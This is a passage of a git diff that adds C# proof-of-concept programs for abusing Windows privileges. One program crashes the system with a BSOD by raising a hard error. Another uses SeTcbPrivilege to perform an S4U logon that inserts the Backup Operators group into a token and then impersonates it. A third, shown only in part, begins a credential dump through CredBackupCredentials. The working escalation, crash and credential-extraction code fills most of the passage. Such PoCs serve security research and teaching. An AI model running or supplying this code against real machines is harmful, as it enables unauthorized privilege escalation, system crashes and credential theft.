tries to cause BSOD with hard error."); + + int ret = MessageBox( + IntPtr.Zero, + "This PoC will cause BSOD.\nAre you ready?", + "Alert", + MESSAGEBOX_TYPE.MB_OKCANCEL | MESSAGEBOX_TYPE.MB_ICONEXCLAMATION); + + if ((MESSAGEBOX_RETURN)ret != MESSAGEBOX_RETURN.IDOK) + { + Console.WriteLine("[*] Abort."); + return; + } + + Console.WriteLine("[>] Trying to raise hard error."); + + RaiseBSOD(); + } + } +} diff --git a/PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.csproj b/PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.csproj new file mode 100644 index 0000000..55435cf --- /dev/null +++ b/PrivilegedOperations/SeShutdownPrivilegePoC/SeShutdownPrivilegePoC.csproj @@ -0,0 +1,54 @@ + + + + + Debug + AnyCPU + {9E36AE6E-B9FD-4B9B-99BA-42D3EACD7506} + Exe + SeShutdownPrivilegePoC + SeShutdownPrivilegePoC + v4.5 + 512 + true + + + AnyCPU + true + full + false + ..\bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + ..\bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeTcbPrivilegePoC/App.config b/PrivilegedOperations/SeTcbPrivilegePoC/App.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/PrivilegedOperations/SeTcbPrivilegePoC/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeTcbPrivilegePoC/Properties/AssemblyInfo.cs b/PrivilegedOperations/SeTcbPrivilegePoC/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..0adb9e1 --- /dev/null +++ b/PrivilegedOperations/SeTcbPrivilegePoC/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SeTcbPrivilegePoC")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SeTcbPrivilegePoC")] +[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("2297a528-e866-4056-814a-d01c1c305a38")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.cs b/PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.cs new file mode 100644 index 0000000..e5f96f1 --- /dev/null +++ b/PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.cs @@ -0,0 +1,804 @@ +using System; +using System.Security.Principal; +using System.Text; +using System.Runtime.InteropServices; + +namespace SeTcbPrivilegePoC +{ + class SeTcbPrivilegePoC + { + /* + * P/Invoke : Enums + */ + [Flags] + enum FormatMessageFlags : uint + { + FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100, + FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200, + FORMAT_MESSAGE_FROM_STRING = 0x00000400, + FORMAT_MESSAGE_FROM_HMODULE = 0x00000800, + FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000, + FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000 + } + + [Flags] + enum SE_GROUP_ATTRIBUTES : uint + { + SE_GROUP_MANDATORY = 0x00000001, + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002, + SE_GROUP_ENABLED = 0x00000004, + SE_GROUP_OWNER = 0x00000008, + SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010, + SE_GROUP_INTEGRITY = 0x00000020, + SE_GROUP_INTEGRITY_ENABLED = 0x00000040, + SE_GROUP_RESOURCE = 0x20000000, + SE_GROUP_LOGON_ID = 0xC0000000 + } + + enum SECURITY_IMPERSONATION_LEVEL + { + SecurityAnonymous, + SecurityIdentification, + SecurityImpersonation, + SecurityDelegation + } + + enum SECURITY_LOGON_TYPE + { + UndefinedLogonType = 0, + Interactive = 2, + Network, + Batch, + Service, + Proxy, + Unlock, + NetworkCleartext, + NewCredentials, + RemoteInteractive, + CachedInteractive, + CachedRemoteInteractive, + CachedUnlock + } + + enum TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin, + TokenElevationType, + TokenLinkedToken, + TokenElevation, + TokenHasRestrictions, + TokenAccessInformation, + TokenVirtualizationAllowed, + TokenVirtualizationEnabled, + TokenIntegrityLevel, + TokenUIAccess, + TokenMandatoryPolicy, + TokenLogonSid, + MaxTokenInfoClass + } + + /* + * P/Invoke : Structs + */ + class MSV1_0_S4U_LOGON : IDisposable + { + [StructLayout(LayoutKind.Sequential)] + private struct INNER_LSA_UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + private struct INNER_MSV1_0_S4U_LOGON + { + public int MessageType; + public uint Flags; + public INNER_LSA_UNICODE_STRING UserPrincipalName; + public INNER_LSA_UNICODE_STRING DomainName; + } + + private INNER_MSV1_0_S4U_LOGON msvS4uLogon = + new INNER_MSV1_0_S4U_LOGON(); + private readonly IntPtr pointer; + private readonly int length; + + public MSV1_0_S4U_LOGON(uint flags, string upn, string domain) + { + byte[] upnBytes = new byte[] { }; + byte[] domainBytes = new byte[] { }; + int MsV1_0S4ULogon = 12; + + msvS4uLogon.MessageType = MsV1_0S4ULogon; + msvS4uLogon.Flags = flags; + + if (!string.IsNullOrEmpty(upn)) + { + upnBytes = Encoding.Unicode.GetBytes(upn); + msvS4uLogon.UserPrincipalName.Length = + (ushort)upnBytes.Length; + msvS4uLogon.UserPrincipalName.MaximumLength = + (ushort)(upnBytes.Length + 2); + } + else + { + msvS4uLogon.UserPrincipalName.Length = 0; + msvS4uLogon.UserPrincipalName.MaximumLength = 0; + } + + if (!string.IsNullOrEmpty(domain)) + { + domainBytes = Encoding.Unicode.GetBytes(domain); + msvS4uLogon.DomainName.Length = + (ushort)domainBytes.Length; + msvS4uLogon.DomainName.MaximumLength = + (ushort)(domainBytes.Length + 2); + } + else + { + msvS4uLogon.DomainName.Length = 0; + msvS4uLogon.DomainName.MaximumLength = 0; + } + + length = Marshal.SizeOf(msvS4uLogon) + + msvS4uLogon.UserPrincipalName.MaximumLength + + msvS4uLogon.DomainName.MaximumLength; + pointer = Marshal.AllocHGlobal(length); + Marshal.Copy(new byte[length], 0, pointer, length); + + IntPtr pUpnString = new IntPtr( + pointer.ToInt64() + + Marshal.SizeOf(msvS4uLogon)); + IntPtr pDomainString = new IntPtr( + pUpnString.ToInt64() + + msvS4uLogon.UserPrincipalName.MaximumLength); + + if (!string.IsNullOrEmpty(upn)) + { + Marshal.Copy(upnBytes, 0, pUpnString, upnBytes.Length); + msvS4uLogon.UserPrincipalName.Buffer = pUpnString; + } + else + { + msvS4uLogon.UserPrincipalName.Buffer = IntPtr.Zero; + } + + if (!string.IsNullOrEmpty(domain)) + { + Marshal.Copy(domainBytes, 0, pDomainString, domainBytes.Length); + msvS4uLogon.DomainName.Buffer = pDomainString; + } + else + { + msvS4uLogon.DomainName.Buffer = IntPtr.Zero; + } + + Marshal.StructureToPtr(msvS4uLogon, pointer, true); + } + + public MSV1_0_S4U_LOGON(string upn, string domain) + { + byte[] upnBytes = new byte[] { }; + byte[] domainBytes = new byte[] { }; + int MsV1_0S4ULogon = 12; + + msvS4uLogon.MessageType = MsV1_0S4ULogon; + msvS4uLogon.Flags = 0; + + if (!string.IsNullOrEmpty(upn)) + { + upnBytes = Encoding.Unicode.GetBytes(upn); + msvS4uLogon.UserPrincipalName.Length = + (ushort)upnBytes.Length; + msvS4uLogon.UserPrincipalName.MaximumLength = + (ushort)(upnBytes.Length + 2); + } + else + { + msvS4uLogon.UserPrincipalName.Length = 0; + msvS4uLogon.UserPrincipalName.MaximumLength = 0; + } + + if (!string.IsNullOrEmpty(domain)) + { + domainBytes = Encoding.Unicode.GetBytes(domain); + msvS4uLogon.DomainName.Length = + (ushort)domainBytes.Length; + msvS4uLogon.DomainName.MaximumLength = + (ushort)(domainBytes.Length + 2); + } + else + { + msvS4uLogon.DomainName.Length = 0; + msvS4uLogon.DomainName.MaximumLength = 0; + } + + length = Marshal.SizeOf(msvS4uLogon) + + msvS4uLogon.UserPrincipalName.MaximumLength + + msvS4uLogon.DomainName.MaximumLength; + pointer = Marshal.AllocHGlobal(length); + Marshal.Copy(new byte[length], 0, pointer, length); + + IntPtr pUpnString = new IntPtr( + pointer.ToInt64() + + Marshal.SizeOf(msvS4uLogon)); + IntPtr pDomainString = new IntPtr( + pUpnString.ToInt64() + + msvS4uLogon.UserPrincipalName.MaximumLength); + + if (!string.IsNullOrEmpty(upn)) + { + Marshal.Copy(upnBytes, 0, pUpnString, upnBytes.Length); + msvS4uLogon.UserPrincipalName.Buffer = pUpnString; + } + else + { + msvS4uLogon.UserPrincipalName.Buffer = IntPtr.Zero; + } + + if (!string.IsNullOrEmpty(domain)) + { + Marshal.Copy(domainBytes, 0, pDomainString, domainBytes.Length); + msvS4uLogon.DomainName.Buffer = pDomainString; + } + else + { + msvS4uLogon.DomainName.Buffer = IntPtr.Zero; + } + + Marshal.StructureToPtr(msvS4uLogon, pointer, true); + } + + public void Dispose() + { + Marshal.FreeHGlobal(pointer); + } + + public IntPtr Pointer() + { + return pointer; + } + + public int Length() + { + return length; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct LSA_STRING + { + public ushort Length; + public ushort MaximumLength; + [MarshalAs(UnmanagedType.LPStr)] + string Buffer; + + public LSA_STRING(string str) + { + Length = 0; + MaximumLength = 0; + Buffer = null; + SetString(str); + } + + public void SetString(string str) + { + if (str.Length > (ushort.MaxValue - 1)) + { + throw new ArgumentException("String too long for UnicodeString"); + } + + Length = (ushort)(str.Length); + MaximumLength = (ushort)(str.Length + 1); + Buffer = str; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct LUID + { + public uint LowPart; + public uint HighPart; + + public LUID(uint _lowPart, uint _highPart) + { + LowPart = _lowPart; + HighPart = _highPart; + } + + public LUID(ulong value) + { + LowPart = (uint)(value & 0xFFFFFFFFUL); + HighPart = (uint)(value >> 32); + } + } + + [StructLayout(LayoutKind.Sequential)] + struct QUOTA_LIMITS + { + public uint PagedPoolLimit; + public uint NonPagedPoolLimit; + public uint MinimumWorkingSetSize; + public uint MaximumWorkingSetSize; + public uint PagefileLimit; + public long TimeLimit; + } + + [StructLayout(LayoutKind.Sequential)] + struct SID_AND_ATTRIBUTES + { + public IntPtr Sid; // PSID + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_GROUPS + { + public int GroupCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] + public SID_AND_ATTRIBUTES[] Groups; + + public TOKEN_GROUPS(int privilegeCount) + { + GroupCount = privilegeCount; + Groups = new SID_AND_ATTRIBUTES[32]; + } + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_MANDATORY_LABEL + { + public SID_AND_ATTRIBUTES Label; + } + + [StructLayout(LayoutKind.Sequential)] + struct TOKEN_SOURCE + { + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public byte[] SourceName; + public LUID SourceIdentifier; + + public TOKEN_SOURCE(string name) + { + SourceName = new byte[8]; + Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0); + if (!AllocateLocallyUniqueId(out SourceIdentifier)) + throw new System.ComponentModel.Win32Exception(); + } + } + + /* + * P/Invoke : Win32 APIs + */ + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + static extern bool AllocateLocallyUniqueId(out LUID Luid); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CloseHandle(IntPtr hObject); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + static extern bool ConvertStringSidToSid(string StringSid, out IntPtr pSid); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern int FormatMessage( + FormatMessageFlags dwFlags, + IntPtr lpSource, + int dwMessageId, + int dwLanguageId, + StringBuilder lpBuffer, + int nSize, + IntPtr Arguments); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool FreeLibrary(IntPtr hLibModule); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern int GetCurrentThreadId(); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern int GetLengthSid(IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool GetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr LocalFree(IntPtr hMem); + + [DllImport("advapi32.dll")] + static extern int LsaClose(IntPtr PolicyHandle); + + [DllImport("secur32.dll", SetLastError = false)] + static extern int LsaConnectUntrusted(out IntPtr LsaHandle); + + [DllImport("secur32.dll", SetLastError = false)] + static extern int LsaFreeReturnBuffer(IntPtr buffer); + + [DllImport("Secur32.dll", SetLastError = true)] + static extern int LsaLogonUser( + IntPtr LsaHandle, + ref LSA_STRING OriginName, + SECURITY_LOGON_TYPE LogonType, + uint AuthenticationPackage, + IntPtr AuthenticationInformation, + int AuthenticationInformationLength, + IntPtr /*ref TOKEN_GROUPS*/ pLocalGroups, + ref TOKEN_SOURCE SourceContext, + out IntPtr ProfileBuffer, + out int ProfileBufferLength, + out LUID LogonId, + IntPtr /*out IntPtr Token*/ pToken, + out QUOTA_LIMITS Quotas, + out int SubStatus); + + [DllImport("Secur32.dll", SetLastError = true)] + static extern int LsaLookupAuthenticationPackage( + IntPtr LsaHandle, + ref LSA_STRING PackageName, + out uint AuthenticationPackage); + + [DllImport("advapi32.dll")] + static extern int LsaNtStatusToWinError(int NTSTATUS); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool SetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength); + + /* + * Consts + */ + // NTSTATUS + const int STATUS_SUCCESS = 0; + + // Win32 Error + const int ERROR_BAD_LENGTH = 0x00000018; + const int ERROR_INSUFFICIENT_BUFFER = 0x0000007A; + + // LSA PackageName + const string MSV1_0_PACKAGE_NAME = "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0"; + + // Well Known SID + const string BACKUP_OPERATORS_SID = "S-1-5-32-551"; + + /* + * User define functions + */ + static IntPtr GetInformationFromToken( + IntPtr hToken, + TOKEN_INFORMATION_CLASS tokenInfoClass) + { + bool status; + int error; + int length = 4; + IntPtr buffer; + + do + { + buffer = Marshal.AllocHGlobal(length); + ZeroMemory(buffer, length); + status = GetTokenInformation( + hToken, tokenInfoClass, buffer, length, out length); + error = Marshal.GetLastWin32Error(); + + if (!status) + Marshal.FreeHGlobal(buffer); + } while (!status && (error == ERROR_INSUFFICIENT_BUFFER || error == ERROR_BAD_LENGTH)); + + if (!status) + return IntPtr.Zero; + + return buffer; + } + + + static IntPtr GetMsvS4uLogonToken( + string username, + string domain, + SECURITY_LOGON_TYPE type, + string[] groupSids, + bool adjustIntegrity) + { + int error; + int ntstatus; + var pkgName = new LSA_STRING(MSV1_0_PACKAGE_NAME); + var tokenSource = new TOKEN_SOURCE("User32"); + var pTokenGroups = IntPtr.Zero; + + Console.WriteLine("[>] Trying to MSV S4U logon."); + + ntstatus = LsaConnectUntrusted(out IntPtr hLsa); + + if (ntstatus != STATUS_SUCCESS) + { + error = LsaNtStatusToWinError(ntstatus); + Console.WriteLine("[-] Failed to connect lsa store."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return IntPtr.Zero; + } + + ntstatus = LsaLookupAuthenticationPackage( + hLsa, + ref pkgName, + out uint authnPkg); + + if (ntstatus != STATUS_SUCCESS) + { + error = LsaNtStatusToWinError(ntstatus); + Console.WriteLine("[-] Failed to lookup auth package."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + LsaClose(hLsa); + + return IntPtr.Zero; + } + + var msvS4uLogon = new MSV1_0_S4U_LOGON(username, domain); + var originName = new LSA_STRING("S4U"); + var pS4uTokenBuffer = Marshal.AllocHGlobal(IntPtr.Size); + + if (groupSids.Length > 0) + { + var tokenGroups = new TOKEN_GROUPS(0); + pTokenGroups = Marshal.AllocHGlobal(Marshal.SizeOf(tokenGroups)); + + for (var idx = 0; idx < groupSids.Length; idx++) + { + if (!ConvertStringSidToSid( + groupSids[idx], + out IntPtr pSid)) + { + continue; + } + + tokenGroups.Groups[idx].Sid = pSid; + tokenGroups.Groups[idx].Attributes = (uint)( + SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED | + SE_GROUP_ATTRIBUTES.SE_GROUP_MANDATORY); + tokenGroups.GroupCount++; + } + + if (tokenGroups.GroupCount == 0) + { + Marshal.FreeHGlobal(pTokenGroups); + pTokenGroups = IntPtr.Zero; + } + else + { + Marshal.StructureToPtr(tokenGroups, pTokenGroups, true); + } + } + + ntstatus = LsaLogonUser( + hLsa, + ref originName, + type, + authnPkg, + msvS4uLogon.Pointer(), + msvS4uLogon.Length(), + pTokenGroups, + ref tokenSource, + out IntPtr profileBuffer, + out int profileBufferLength, + out LUID logonId, + pS4uTokenBuffer, + out QUOTA_LIMITS quotas, + out int subStatus); + + msvS4uLogon.Dispose(); + LsaFreeReturnBuffer(profileBuffer); + LsaClose(hLsa); + + if (pTokenGroups != IntPtr.Zero) + Marshal.FreeHGlobal(pTokenGroups); + + var hS4uToken = Marshal.ReadIntPtr(pS4uTokenBuffer); + Marshal.FreeHGlobal(pS4uTokenBuffer); + + if (ntstatus != STATUS_SUCCESS) + { + error = LsaNtStatusToWinError(ntstatus); + Console.WriteLine("[-] Failed to S4U logon."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, true)); + + return IntPtr.Zero; + } + + if (adjustIntegrity) + { + IntPtr hCurrentToken = WindowsIdentity.GetCurrent().Token; + IntPtr pIntegrity = GetInformationFromToken( + hCurrentToken, + TOKEN_INFORMATION_CLASS.TokenIntegrityLevel); + + if (pIntegrity == IntPtr.Zero) + return IntPtr.Zero; + + var mandatoryLabel = (TOKEN_MANDATORY_LABEL)Marshal.PtrToStructure( + pIntegrity, + typeof(TOKEN_MANDATORY_LABEL)); + var lengthSid = GetLengthSid(mandatoryLabel.Label.Sid); + + if (!SetTokenInformation( + hS4uToken, + TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, + pIntegrity, + Marshal.SizeOf(mandatoryLabel) + lengthSid)) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to adjust integrity level for S4U token."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + CloseHandle(hS4uToken); + hS4uToken = IntPtr.Zero; + } + else + { + Console.WriteLine("[+] S4U logon is successful."); + Console.WriteLine(" |-> hS4uToken = 0x{0}", hS4uToken.ToString("X")); + } + } + else + { + Console.WriteLine("[+] S4U logon is successful."); + Console.WriteLine(" |-> hS4uToken = 0x{0}", hS4uToken.ToString("X")); + } + + return hS4uToken; + } + + + static string GetWin32ErrorMessage(int code, bool isNtStatus) + { + var message = new StringBuilder(); + var messageSize = 255; + FormatMessageFlags messageFlag; + IntPtr pNtdll; + message.Capacity = messageSize; + + if (isNtStatus) + { + pNtdll = LoadLibrary("ntdll.dll"); + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE | + FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + else + { + pNtdll = IntPtr.Zero; + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + + int ret = FormatMessage( + messageFlag, + pNtdll, + code, + 0, + message, + messageSize, + IntPtr.Zero); + + if (isNtStatus) + FreeLibrary(pNtdll); + + if (ret == 0) + { + return string.Format("[ERROR] Code 0x{0}", code.ToString("X8")); + } + else + { + return string.Format( + "[ERROR] Code 0x{0} : {1}", + code.ToString("X8"), + message.ToString().Trim()); + } + } + + + static bool ImpersonateThreadToken(IntPtr hImpersonationToken) + { + int error; + + Console.WriteLine("[>] Trying to impersonate thread token."); + Console.WriteLine(" |-> Current Thread ID : {0}", GetCurrentThreadId()); + + if (!ImpersonateLoggedOnUser(hImpersonationToken)) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to impersonation."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return false; + } + + IntPtr hCurrentToken = WindowsIdentity.GetCurrent().Token; + IntPtr pImpersonationLevel = GetInformationFromToken( + hCurrentToken, + TOKEN_INFORMATION_CLASS.TokenImpersonationLevel); + var impersonationLevel = (SECURITY_IMPERSONATION_LEVEL)Marshal.ReadInt32( + pImpersonationLevel); + LocalFree(pImpersonationLevel); + + if (impersonationLevel == SECURITY_IMPERSONATION_LEVEL.SecurityIdentification) + { + Console.WriteLine("[-] Failed to impersonation."); + + return false; + } + else + { + Console.WriteLine("[+] Impersonation is successful."); + + return true; + } + } + + + static void ZeroMemory(IntPtr buffer, int size) + { + var nullBytes = new byte[size]; + Marshal.Copy(nullBytes, 0, buffer, size); + } + + + static void Main() + { + bool status; + IntPtr hS4uToken; + var groupSids = new string[]{ BACKUP_OPERATORS_SID }; + + Console.WriteLine("[*] If you have SeTcbPrivilege, you can perform S4U Logon."); + Console.WriteLine("[*] This PoC tries to perform S4U Logon and add \"Builtin\\Backup Operators\" to current token group."); + + hS4uToken = GetMsvS4uLogonToken( + Environment.UserName, + Environment.UserDomainName, + SECURITY_LOGON_TYPE.Network, + groupSids, + true); + + if (hS4uToken == IntPtr.Zero) + return; + + status = ImpersonateThreadToken(hS4uToken); + CloseHandle(hS4uToken); + + if (status) + { + Console.WriteLine("[*] Check this thread's token with TokenViewer.exe."); + Console.WriteLine("[*] You can confirm that \"Builtin\\Backup Operators\" is added to this thread."); + Console.WriteLine("\n[*] To exit this program, hit [ENTER] key."); + Console.ReadLine(); + } + } + } +} diff --git a/PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.csproj b/PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.csproj new file mode 100644 index 0000000..1fc4d81 --- /dev/null +++ b/PrivilegedOperations/SeTcbPrivilegePoC/SeTcbPrivilegePoC.csproj @@ -0,0 +1,53 @@ + + + + + Debug + AnyCPU + {2297A528-E866-4056-814A-D01C1C305A38} + Exe + SeTcbPrivilegePoC + SeTcbPrivilegePoC + v4.5 + 512 + true + + + AnyCPU + true + full + false + ..\bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + ..\bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/App.config b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/App.config new file mode 100644 index 0000000..8e15646 --- /dev/null +++ b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/HexDump.cs b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/HexDump.cs new file mode 100644 index 0000000..2f86bc0 --- /dev/null +++ b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/HexDump.cs @@ -0,0 +1,75 @@ +using System; +using System.Text; +using System.Runtime.InteropServices; + +namespace SeTrustedCredManAccessPrivilegePoC +{ + class HexDump + { + public static void Dump(IntPtr lpBuffer, int bufferSize, int numIndent) + { + if (bufferSize <= 0) + return; + + StringBuilder hexBuffer = new StringBuilder(); + StringBuilder charBuffer = new StringBuilder(); + string indent = new string('\t', numIndent); + byte[] byteArray = new byte[bufferSize]; + int address = 0; + + Marshal.Copy(lpBuffer, byteArray, 0, bufferSize); + + for (var idx = 0; idx < bufferSize; idx++) + { + if (idx % 16 == 0) + { + address = (idx / 16) * 16; + hexBuffer.Clear(); + charBuffer.Clear(); + } + + hexBuffer.Append(string.Format( + "{0}", byteArray[idx].ToString("X2"))); + + if (IsPrintable((char)byteArray[idx])) + { + charBuffer.Append((char)byteArray[idx]); + } + else + { + charBuffer.Append("."); + } + + if ((idx + 1) % 8 == 0 && + (idx + 1) % 16 != 0 && + (idx + 1) != bufferSize) + { + hexBuffer.Append("-"); + charBuffer.Append(" "); + } + else if (((idx + 1) % 16 != 0) && ((idx + 1) != bufferSize)) + { + hexBuffer.Append(" "); + } + + if ((idx + 1) % 16 == 0) + { + Console.WriteLine("{0}{1} | {2} | {3}", + indent, address.ToString("X8"), hexBuffer, charBuffer); + } + else if ((idx + 1) == bufferSize) + { + Console.WriteLine("{0}{1} | {2,-47} | {3}", + indent, address.ToString("X8"), hexBuffer, charBuffer); + } + } + } + + private static bool IsPrintable(char code) + { + return Char.IsLetterOrDigit(code) || + Char.IsPunctuation(code) || + Char.IsSymbol(code); + } + } +} diff --git a/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/Properties/AssemblyInfo.cs b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..64fc21b --- /dev/null +++ b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SeTrustedCredManAccessPrivilegePoC")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SeTrustedCredManAccessPrivilegePoC")] +[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("8ded0ec8-3611-4481-88fc-14b82531fd2b")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.cs b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.cs new file mode 100644 index 0000000..89606ae --- /dev/null +++ b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.cs @@ -0,0 +1,247 @@ +using System; +using System.IO; +using System.Security.Principal; +using System.Text; +using System.Runtime.InteropServices; + +namespace SeTrustedCredManAccessPrivilegePoC +{ + class SeTrustedCredManAccessPrivilegePoC + { + /* + * P/Invoke : Enums + */ + [Flags] + enum CryptProtectFlags + { + CRYPTPROTECT_NO_OPTION = 0x0, + CRYPTPROTECT_UI_FORBIDDEN = 0x1, + CRYPTPROTECT_LOCAL_MACHINE = 0x4, + CRYPTPROTECT_CRED_SYNC = 0x8, + CRYPTPROTECT_AUDIT = 0x10, + CRYPTPROTECT_NO_RECOVERY = 0x20, + CRYPTPROTECT_VERIFY_PROTECTION = 0x40 + } + + [Flags] + enum FormatMessageFlags : uint + { + FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100, + FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200, + FORMAT_MESSAGE_FROM_STRING = 0x00000400, + FORMAT_MESSAGE_FROM_HMODULE = 0x00000800, + FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000, + FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000 + } + + /* + * P/Invoke : Structs + */ + [StructLayout(LayoutKind.Sequential)] + public struct CRYPT_INTEGER_BLOB + { + public uint cbData; + public IntPtr pbData; + } + + /* + * P/Invoke : Win32 APIs + */ + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern bool CredBackupCredentials( + IntPtr Token, + string Path, + IntPtr Password, + int PasswordSize, + int Flags); + + 